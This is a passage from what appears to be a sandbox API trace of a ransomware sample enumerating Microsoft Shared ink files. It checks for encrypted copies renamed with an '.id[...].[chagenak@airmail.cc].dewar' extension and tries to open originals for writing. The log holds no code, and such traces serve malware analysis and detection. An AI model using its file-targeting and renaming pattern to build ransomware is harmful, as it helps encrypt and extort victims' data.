(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0218.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0218.402] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0218.402] CloseHandle (hObject=0x1e0) returned 1 [0218.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0218.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0218.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.673] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0218.673] CloseHandle (hObject=0x1d8) returned 1 [0218.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0218.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0218.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0218.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0219.355] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1434) returned 1 [0219.355] CloseHandle (hObject=0x1c8) returned 1 [0219.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0219.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0219.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0219.723] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1118) returned 1 [0219.723] CloseHandle (hObject=0x164) returned 1 [0219.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0219.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0219.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0219.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.064] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=11067) returned 1 [0220.064] CloseHandle (hObject=0x1d0) returned 1 [0220.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0220.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0220.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.345] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1166) returned 1 [0220.345] CloseHandle (hObject=0x1d4) returned 1 [0220.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0220.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0220.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.362] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4096) returned 1 [0220.363] CloseHandle (hObject=0x1d4) returned 1 [0220.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0220.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0220.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.572] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3584) returned 1 [0220.572] CloseHandle (hObject=0x1d4) returned 1 [0220.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0220.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0220.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0220.898] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=815680) returned 1 [0220.898] CloseHandle (hObject=0x1c8) returned 1 [0220.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0220.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0220.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.899] SetEvent (hEvent=0x118) returned 1 [0220.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0220.900] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2592) returned 1 [0220.900] CloseHandle (hObject=0x1c8) returned 1 [0220.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0220.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0220.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0220.902] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2462) returned 1 [0220.902] CloseHandle (hObject=0x1c8) returned 1 [0220.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0220.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0220.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.430] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2436) returned 1 [0221.430] CloseHandle (hObject=0x1d4) returned 1 [0221.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0221.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0221.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.431] SetEvent (hEvent=0x118) returned 1 [0221.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.432] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2514) returned 1 [0221.432] CloseHandle (hObject=0x1d4) returned 1 [0221.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0221.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0221.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.434] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2616) returned 1 [0221.434] CloseHandle (hObject=0x1d4) returned 1 [0221.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0221.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0221.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0221.440] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2578) returned 1 [0221.440] CloseHandle (hObject=0x1d4) returned 1 [0221.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0221.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0221.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0221.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 